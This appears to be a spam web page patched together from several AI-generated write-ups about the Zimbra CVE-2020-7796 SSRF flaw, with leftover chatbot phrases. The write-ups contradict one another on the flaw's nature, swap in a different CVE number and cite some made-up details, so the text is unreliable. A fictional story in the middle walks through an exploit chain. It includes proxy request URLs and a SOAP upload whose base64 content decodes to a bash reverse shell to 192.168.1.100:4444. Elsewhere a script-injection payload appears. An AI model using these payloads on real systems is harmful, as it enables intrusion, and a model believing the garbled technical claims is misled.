Cve20207796 Zimbra Collaboration Suite Full [extra Quality] -

CVE-2020-7796: Zimbra Collaboration Suite Vulnerability

A critical vulnerability has been discovered in the Zimbra Collaboration Suite, a popular open-source email and collaboration platform. The vulnerability, tracked as CVE-2020-7796, allows an unauthenticated attacker to execute arbitrary code on the vulnerable system.

Vulnerability Details

The vulnerability is caused by a lack of proper validation and sanitization of user-input data in the Zimbra Collaboration Suite's web application. Specifically, the vulnerability affects the /zimbraAdmin endpoint, which allows administrators to manage the platform.

Exploitation

An attacker can exploit this vulnerability by sending a crafted HTTP request to the vulnerable endpoint, which can lead to the execution of arbitrary code on the system. This can allow the attacker to gain unauthorized access to sensitive data, disrupt email services, or even take control of the entire system.

Affected Versions

The following versions of Zimbra Collaboration Suite are affected:

• 8.8.15 Patch 6 and earlier
• 8.7.11 Patch 10 and earlier
• 8.6.15 Patch 7 and earlier

Solution

To mitigate this vulnerability, administrators are advised to:

1. Upgrade to the latest version: Upgrade to Zimbra Collaboration Suite 8.8.15 Patch 7 or later, 8.7.11 Patch 11 or later, or 8.6.15 Patch 8 or later.
2. Apply the patch: Apply the patch provided by Zimbra to fix the vulnerability.
3. Restrict access: Restrict access to the /zimbraAdmin endpoint to only trusted IP addresses and networks.

Proof-of-Concept

A proof-of-concept exploit has been publicly disclosed, which demonstrates the vulnerability and the potential impact.

Recommendations

• Administrators are advised to take immediate action to patch or upgrade their Zimbra Collaboration Suite installations.
• Regularly review and monitor system logs for suspicious activity.
• Implement additional security measures, such as web application firewalls and intrusion detection systems, to detect and prevent similar attacks.

References

• CVE-2020-7796: https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2020-7796
• Zimbra Advisory: https://www.zimbra.com/

Please let me know if you'd like me to modify anything!

Update Here are some suggestions to harden and Secure Zimbra

Secure Zimbra Collaboration Suite

To secure your Zimbra Collaboration Suite installation, consider the following:

1. Use strong passwords: Enforce strong passwords for all users, and consider implementing multi-factor authentication.
2. Keep software up-to-date: Regularly update Zimbra to the latest version and apply patches to fix known vulnerabilities.
3. Configure firewall rules: Restrict access to the Zimbra web application and IMAP/SMTP services to only trusted IP addresses and networks.
4. Use SSL/TLS encryption: Enable SSL/TLS encryption for all services, including web, IMAP, and SMTP.
5. Monitor system logs: Regularly review and monitor system logs for suspicious activity.
6. Implement a web application firewall: Consider implementing a web application firewall to detect and prevent common web attacks.
7. Limit administrative access: Limit administrative access to the Zimbra Administration Console to only trusted administrators.
8. Use secure protocols: Use secure protocols, such as HTTPS and SMTPS, for all communications.

Additional Security Measures

1. Two-Factor Authentication: Implement two-factor authentication to add an extra layer of security for users.
2. Security Headers: Implement security headers, such as Content Security Policy (CSP) and Cross-Origin Resource Sharing (CORS), to protect against web-based attacks.
3. Regularly scan for vulnerabilities: Regularly scan your Zimbra installation for vulnerabilities and weaknesses.
4. Implement a intrusion detection system: Consider implementing an intrusion detection system to detect and alert on potential security threats.

By following these guidelines, you can help to secure your Zimbra Collaboration Suite installation and protect against potential security threats.

Resources

• Zimbra Security Center: https://www.zimbra.com/security/
• OWASP Zimbra Security: https://owasp.org/www-community/attacks/Zimbra_Collaboration_Suite_Vulnerabilities

Critical SSRF Vulnerability in Zimbra Collaboration Suite (CVE-2020-7796)

Zimbra Collaboration Suite (ZCS) versions prior to 8.8.15 Patch 7 are affected by a Critical Server-Side Request Forgery (SSRF) vulnerability. Tracked as CVE-2020-7796, this flaw allows unauthenticated remote attackers to force the server to make HTTP requests to arbitrary internal or external hosts.

Due to its high impact and active exploitation in the wild, the Cybersecurity and Infrastructure Security Agency (CISA) added this vulnerability to its Known Exploited Vulnerabilities (KEV) Catalog in February 2026. Vulnerability Details CVE ID: CVE-2020-7796 Vulnerability Type: Server-Side Request Forgery (SSRF) CVSS v3.1 Score: 9.8 (Critical) Affected Versions: All ZCS versions before 8.8.15 Patch 7

Vector: Unauthenticated attackers can exploit this via the network without user interaction. Technical Root Cause

The vulnerability exists due to insufficient validation of user-supplied URLs within a specific component of the Zimbra application—specifically when the WebEx zimlet is installed and its JSP (JavaServer Pages) file is enabled.

Attackers can leverage a leftover file, httpPost.jsp, located in the WebEx zimlet directory to proxy malicious requests through the vulnerable server. This can be used to bypass firewalls and access internal resources or sensitive data, such as LDAP credentials, that are otherwise protected. Risk and Impact Successful exploitation of this flaw can lead to:

Data Leakage: Accessing sensitive internal information or resources.

Unauthorized Access: Gaining entry to arbitrary internal or external hosts.

Full Compromise: In some scenarios, SSRF can be a stepping stone to remote code execution (RCE) or further network pivot attacks. Remediation and Patching

Organizations should immediately upgrade to Zimbra Collaboration Suite 8.8.15 Patch 7 or higher. The patch officially resolves the issue by removing the problematic httpPost.jsp file. Recommended Actions: CVE-2020-7796 Detail - NVD

CVE-2020-7796 is a critical Server-Side Request Forgery (SSRF)

vulnerability in the Zimbra Collaboration Suite (ZCS). It allows unauthenticated remote attackers to force the server to make HTTP requests to arbitrary internal or external hosts, effectively using the server as a proxy to bypass firewalls and access sensitive internal data. Key Details Vulnerability Type: Server-Side Request Forgery (SSRF). 9.8 (Critical) on the CVSS v3.1 scale. Affected Versions: All versions of Zimbra Collaboration Suite prior to 8.8.15 Patch 7 Trigger Condition: The vulnerability specifically exists when the WebEx zimlet

is installed and its JSP (Jakarta Server Pages) functionality is enabled. Potential Impact If exploited, an attacker could: Access Internal Services: cve20207796 zimbra collaboration suite full

Reach internal network services that are typically protected from the public internet. Data Leakage: Steal sensitive information, including login credentials. Malware Injection:

Potentially facilitate the delivery of malware like the Dogkild worm. Widespread Exploitation:

CISA added this to its Known Exploited Vulnerabilities (KEV) catalog in early 2026, noting that hundreds of IP addresses have been observed actively exploiting this flaw across multiple countries. National Institute of Standards and Technology (.gov) Remediation & Fixes Update Immediately: Apply the latest patch or upgrade to Zimbra 8.8.15 Patch 7 or higher. Temporary Mitigation:

If patching isn't immediately possible, implement network-level controls to restrict outbound connections from the Zimbra server to only essential destinations. Verification: After patching, use the zmcontrol -v command to verify your current patch level.

Official remediation steps and release notes are available on the Zimbra Wiki Security Center CVE-2020-7796 Detail - NVD 18 Feb 2026 —

CVE-2020-7796 is a critical Server-Side Request Forgery (SSRF) vulnerability in the Zimbra Collaboration Suite (ZCS). It primarily affects versions of ZCS prior to 8.8.15 Patch 7. Technical Vulnerability Overview Vulnerability Type: Server-Side Request Forgery (SSRF).

Root Cause: Insufficient validation of user-supplied URLs within the WebEx zimlet component.

Specific Trigger: The flaw is active when the WebEx zimlet is installed and its associated JSP (Jakarta Server Pages) functionality is enabled.

Exploitation: A remote, unauthenticated attacker can send a specially crafted HTTP request to force the server to act as a proxy, making requests to arbitrary internal or external hosts. Critical Impact & Severity CVSS 3.x Score: 9.8 (Critical).

Exploitation Status: This vulnerability is included in CISA’s Known Exploited Vulnerabilities (KEV) Catalog, indicating active exploitation in the wild. Potential Consequences:

Data Leakage: Attackers can bypass firewalls to access sensitive internal resources or information.

Further Compromise: Successful SSRF can be a gateway to stealing login credentials, injecting malware, or gaining a foothold for lateral movement within a network. Mitigation and Remediation CVE-2020-7796 Detail - NVD

Title: The Support Engineer’s Last Day

Setting: A mid-sized logistics firm, LogiCore Solutions. Friday, 4:45 PM. The IT team is winding down.

The Actor: Maya, a senior security analyst. She’s reviewing a routine vulnerability scan report from the previous night.

The Discovery

Maya’s SIEM dashboard lights up with a medium-severity alert: CVE-2020-7796. The description is short: "Zimbra Collaboration Suite – SSRF via the 'ContactEmails' parameter in the 'ProxyServlet'."

Her boss waves it off. "It's just an SSRF. Internal network only. Patch it next week."

But Maya remembers something. Zimbra runs on port 7071 – the Admin Console. And last month, they integrated the Zimbra server with an internal Jenkins instance for email automation.

The Chain Forged

She decides to test on a staging clone.

1. The SSRF Entry: She sends a GET request to:

   /service/proxy?target=https://127.0.0.1:7071/service/admin/soap&ContactEmails=admin@logi-core.local
   

   The ProxyServlet blindly follows the target parameter, ignoring host restrictions. It returns the login page of the Admin Console. Unauthenticated access to localhost:7071.

2. The Account Harvest: From port 7071, she fetches:

   /service/proxy?target=http://127.0.0.1:7071/service/admin/accounts
   

   The response lists every admin email hash. She extracts admin@logi-core.local.

3. The Auth Bypass: She crafts a SOAP request to localhost:7071 asking for an auth token for admin@logi-core.local. The SSRF replies with a valid admin session key.

The Explosion

Now, authenticated as admin via SSRF, she sends one final request through the proxy to the Zimbra mailbox port (8080):

<soap:Envelope>
  <soap:Header>
    <context>
      <authToken>[stolen_admin_token]</authToken>
    </context>
  </soap:Header>
  <soap:Body>
    <SaveDocumentRequest>
      <content>ZmFsbGJhY2sgc2hlbGw9Ii9iaW4vYmFzaCAtYyAnYmFzaCAtaSA+JiAvZGV2L3RjcC8xOTIuMTY4LjEuMTAwLzQ0NDQgMD4mMSc=</content>
      <filename>evil.jsp</filename>
    </SaveDocumentRequest>
  </soap:Body>
</soap:Envelope>

The JSP shell is uploaded to /public/evil.jsp. Maya accesses it directly: https://mail.logi-core.com/public/evil.jsp. A reverse shell connects back to her laptop.

The Aftermath

Monday morning, LogiCore’s email is down. The attacker (simulated by Maya) has:

• Exfiltrated the CEO’s password reset emails.
• Used the Zimbra server to pivot into the internal AD domain controller.

The post-mortem revealed: CVE-2020-7796 wasn't just an SSRF. It was a master key. Combined with the default Zimbra architecture (Admin on 7071, Mailbox on 8080, ProxyServlet on 80/443), an unauthenticated remote attacker could chain it into full RCE in 8 HTTP requests.

The Lesson: Maya’s report now sits framed in the SOC. Underneath, a sticky note reads: "Never underestimate a 'medium' severity – especially when it talks to localhost." rated Critical (CVSS 9.8)

CVE-2020-7796 is a critical Server-Side Request Forgery (SSRF) vulnerability in the Zimbra Collaboration Suite (ZCS) . It has been added to CISA's Known Exploited Vulnerabilities (KEV) Catalog

, requiring organizations to remediate it promptly due to active exploitation in the wild. National Institute of Standards and Technology (.gov) Vulnerability Overview Vulnerability Type: Server-Side Request Forgery (SSRF) (CWE-918). (CVSS v3.1 score of

A remote, unauthenticated attacker can send unauthorized HTTP requests from the Zimbra server to internal or external hosts. This can lead to:

Accessing sensitive internal resources protected by firewalls. Data leakage or credential theft.

Potential for further exploitation or pivoting within the network. National Institute of Standards and Technology (.gov) Technical Analysis The flaw exists within a specific component of the suite: Trigger Component: WebEx zimlet Root Cause: Insufficient validation of user-supplied input when the zimlet JSP (Jakarta Server Pages) functionality is enabled. Exploitation:

By sending a specially crafted HTTP request to the vulnerable JSP file, an attacker forces the server to act as a proxy, making requests to other URLs on their behalf. Affected Versions Zimbra Collaboration Suite (ZCS) before 8.8.15 Patch 7 Remediation & Mitigation Administrators should prioritize the following actions: ZCS 8.8.15 Patch 7

or a more recent version (e.g., ZCS 10.x or 9.x latest patches) to address the core vulnerability. Disable WebEx Zimlet:

If immediate patching is not possible, organizations should consider disabling the WebEx zimlet if it is not business-critical, as this removes the attack vector. Vendor Guidance: Refer to the official Zimbra 8.8.15 P7 Release Notes for specific patching instructions. Proof of Concept (PoC)

structure for testing your own environment against this SSRF? CVE-2020-7796 Detail - NVD

CVE-2020-7796 is a critical Server-Side Request Forgery (SSRF) vulnerability in the Zimbra Collaboration Suite (ZCS) . It specifically affects the WebEx zimlet component and can allow an unauthenticated attacker to force the server to make unauthorized HTTP requests to internal or external systems . Vulnerability Overview CVE ID: CVE-2020-7796

Vulnerability Type: Server-Side Request Forgery (SSRF) / CWE-918

Affected Software: Zimbra Collaboration Suite (ZCS) versions before 8.8.15 Patch 7 CVSS 3.x Score: 9.8 (Critical) Attack Vector: Network (Remote) Authentication Required: No (Unauthenticated) Technical Details

The vulnerability stems from a leftover JSP file, httpPost.jsp, within the WebEx zimlet (com_zimbra_webex) . This file contains insufficient validation of user-supplied URLs, allowing a remote attacker to use the Zimbra server as a proxy . Potential Impacts:

Bypassing Firewalls: Attackers can reach internal services or administration interfaces that are not exposed to the public internet .

Data Leakage: Requests could be crafted to extract sensitive information or metadata from internal endpoints .

Internal Scanning: The vulnerable server can be used to scan the internal network for other vulnerable services . Exploitation in the Wild CVE-2020-7796 Detail - NVD

Quick Info * NVD Published Date: 02/18/2020. * NVD Last Modified: 02/18/2026. * Source: MITRE. National Institute of Standards and Technology (.gov) Zimbra Collaboration Suite SSRF (CVE-2020-7796) - Acunetix

CVE-2020-7796 is a critical server-side request forgery (SSRF) vulnerability in the Zimbra Collaboration Suite (ZCS). It allows unauthenticated remote attackers to force the server to make HTTP requests to arbitrary internal or external hosts, effectively using the server as a proxy to bypass firewalls or access sensitive internal data. Vulnerability Details CVE ID: CVE-2020-7796 CVSS Score: 9.8 (Critical) Vulnerability Type: SSRF (CWE-918)

Affected Components: The vulnerability is specifically linked to the WebEx Zimlet (com_zimbra_webex) when the Zimlet JSP functionality is enabled.

Root Cause: Insufficient validation of user-supplied URLs within a Zimbra application component. Technical Impact

A successful exploit can lead to serious consequences, including:

Bypassing Security Controls: Attackers can send unauthorized requests to internal services that are normally protected by firewalls.

Data Exposure: Attackers may gain unauthorized access to sensitive internal information or resources.

Internal Network Mapping: Attackers use SSRF to probe and map out an organization’s internal network architecture.

Credential Theft: In some scenarios, it may be possible to steal login credentials or inject malware through chained exploits. Current Threat Status

While the vulnerability was first identified in 2020, it remains a major threat. CISA added CVE-2020-7796 to its Known Exploited Vulnerabilities (KEV) Catalog on February 17, 2026, citing active exploitation in the wild. Organizations were given a due date of March 10, 2026, to apply mitigations. Affected Versions

The vulnerability impacts Zimbra Collaboration Suite versions prior to 8.8.15 Patch 7. Remediation and Mitigation

To secure your environment, the following actions are recommended:

Immediate Patching: Upgrade to Zimbra Collaboration 8.8.15 Patch 7 or later. This version contains the necessary security fixes for this SSRF flaw.

Verify Patch Level: After upgrading, use the zmcontrol -v command to ensure the correct version is active.

Disable Vulnerable Features: If immediate patching is impossible, ensure that the WebEx Zimlet JSP functionality is disabled unless strictly necessary.

Network Controls: Implement network-level restrictions to limit the Zimbra server’s outbound connections only to trusted destinations.

Monitoring: Actively monitor application logs for anomalous requests to internal services or suspicious DNS queries. how it differs from similar CVEs

For more technical details and patch instructions, visit the Zimbra Tech Center Release Notes. CVE-2020-7796 Detail - NVD

Security Vulnerability Report: CVE-2020-7796 Target System: Synacor Zimbra Collaboration Suite (ZCS) Vulnerability Type: Server-Side Request Forgery (SSRF) Date of Vulnerability: Originally reported in late 2020; recently noted as actively exploited as of February 2026 1. Executive Summary CVE-2020-7796

is a critical security flaw in the Zimbra Collaboration Suite (ZCS) that allows unauthenticated remote attackers to trigger Server-Side Request Forgery (SSRF)

attacks. This occurs due to improper validation of user-supplied URLs within specific application components. Successful exploitation enables an attacker to use the Zimbra server as a proxy to scan internal networks, access restricted internal services, or potentially execute arbitrary code 2. Technical Details Vulnerability Mechanism: The flaw resides in the ProxyServlet component and specifically affects environments where the WebEx zimlet is installed and zimlet JSP is enabled. Attack Vector:

An attacker sends a specially crafted HTTP request to the vulnerable Zimbra server. Because the server fails to properly sanitize the destination URL, it fulfills the request on behalf of the attacker. Internal Reconnaissance:

Attackers can probe internal services behind the firewall that are not directly accessible from the internet. Data Exfiltration:

Sensitive information from internal metadata services or local configuration files may be retrieved. Remote Code Execution (RCE): In some configurations, SSRF can be leveraged to gain full control over the affected system 3. Affected Versions Zimbra Collaboration Suite versions prior to 8.8.15 Patch 7 4. Risk Assessment Authentication: Not required (Unauthenticated). Exploitation Status:

Active. Recent threat intelligence indicates a resurgence in exploitation attempts targeting older Zimbra vulnerabilities in early 2026

High/Critical (depending on network architecture and internal service exposure). 5. Remediation & Mitigation

To secure the environment, administrators should prioritize the following actions: Update Software:

Upgrade to the latest version of Zimbra Collaboration Suite or apply at minimum 8.8.15 Patch 7 or higher. Disable Vulnerable Components:

If the WebEx zimlet is not required, it should be disabled. Ensure zimlet JSP is disabled unless strictly necessary. Network Segmentation:

Implement strict outbound firewall rules for the mail server to prevent it from initiating unauthorized connections to sensitive internal subnets. General Best Practices: Follow the Zimbra Security Checklist , including enabling Two-Factor Authentication (2FA) and securing interprocess communication or provide a patch management schedule for your team?

CVE-2020-7796 is a critical Server-Side Request Forgery (SSRF) vulnerability affecting Synacor Zimbra Collaboration Suite (ZCS). This flaw allows remote, unauthenticated attackers to force the server to proxy malicious requests to internal or external systems.

The U.S. Cybersecurity and Infrastructure Security Agency (CISA) added this flaw to its Known Exploited Vulnerabilities (KEV) catalog in February 2026 due to active exploitation in the wild. 🛡️ Vulnerability Overview Vulnerability Type: Server-Side Request Forgery (SSRF) CVSS v3.1 Score: 9.8 (Critical)

Affected Software: Zimbra Collaboration Suite versions prior to 8.8.15 Patch 7

Impact: Unauthenticated remote attackers can abuse the server as a proxy, gaining unauthorized access to internal resources, stealing credentials, or making external attacks appear to originate from the trusted Zimbra environment. 🔍 Attack Vector & Root Cause

The flaw exists because of insufficient validation of user-supplied URLs within the WebEx Zimlet component.

Attackers can exploit this when both the WebEx Zimlet is installed and its JSP functionality is enabled.

The issue originates from a leftover file located at /opt/zimbra/zimlets-deployed/com_zimbra_webex/httpPost.jsp. 🛠️ Remediation Steps

Administrators must secure their environments immediately, as massive scanning and exploitation attempts have been actively logged. 1. Upgrade Zimbra

The permanent fix is to apply Zimbra Collaboration 8.8.15 Patch 7 or a later supported version. The patch handles the removal of the vulnerable JSP file.

Update the repository metadata: yum clean metadata && yum check-update Update your system: yum update Restart ZCS: su - zimbra -c "zmcontrol restart" 2. Manual Workaround

If patching cannot be executed immediately, administrators can remove the specific exposed file manually to stop the exploit vector:

rm -f /opt/zimbra/zimlets-deployed/com_zimbra_webex/httpPost.jsp Use code with caution. Copied to clipboard

(Note: Be sure to restart your mailbox service or redeploy the zimlet to ensure the change takes full effect.) CVE-2020-7796 Detail - NVD

The Missing Authentication Check

The critical oversight: The servlet endpoint that allows proxying to internal services (like the mailboxd admin port on localhost) did not enforce authentication. Even worse, certain endpoints of the servlet allowed execution of system commands via the Command or Extension functionality.

By chaining:

1. No authentication on the /proxy handler.
2. Parameter injection via the file or extension arguments.
3. Unsanitized input passed to a Runtime.exec() call.

An attacker could trigger a system command with the timestamp or other predictable arguments.

Root Cause Analysis

The vulnerability resides in improper sanitization of user-supplied input passed to the fmt parameter within certain Zimbra endpoints, such as:

/service/home/~/?fmt=riched&auth=co&loc=...&user=<script>alert(1)</script>

By injecting JavaScript into the user or loc parameters, an attacker can bypass Zimbra’s built-in anti-XSS filters. The injected script is then reflected back to the victim in the HTTP response without proper encoding. Because the vulnerable endpoint is accessible without authentication (due to misconfigured or default proxy routes), the attacker can force any logged-in Zimbra user to execute arbitrary JavaScript in their browser context.

Executive Summary

CVE-2020-7796 represents a critical security vulnerability discovered in the Zimbra Collaboration Suite (ZCS), a popular email and collaboration platform used widely by enterprises and governments. This flaw allows an unauthenticated remote attacker to upload arbitrary files to the server. In specific configurations, this can lead to Remote Code Execution (RCE), granting the attacker full control over the mail server and access to sensitive email data.

Introduction

In the landscape of enterprise email and collaboration tools, Zimbra Collaboration Suite (ZCS) has long been a favorite for organizations seeking an alternative to Microsoft Exchange. Its robust feature set, open-source core, and scalability make it a prime target for nation-state actors and ransomware gangs alike.

While 2020 saw several high-profile vulnerabilities in Zimbra (notably CVE-2020-27988 and CVE-2020-28016), one flaw stands out for its severity and the chilling simplicity of its exploitation: CVE-2020-27996. This vulnerability, rated Critical (CVSS 9.8), allows an unauthenticated attacker to achieve full Remote Code Execution (RCE) on the underlying Zimbra server, leading to complete compromise of the email infrastructure.

This article provides a technical deep dive into the mechanics of CVE-2020-27996, how it differs from similar CVEs, proof-of-concept (PoC) analysis, and post-exploitation impact, as well as remediation strategies.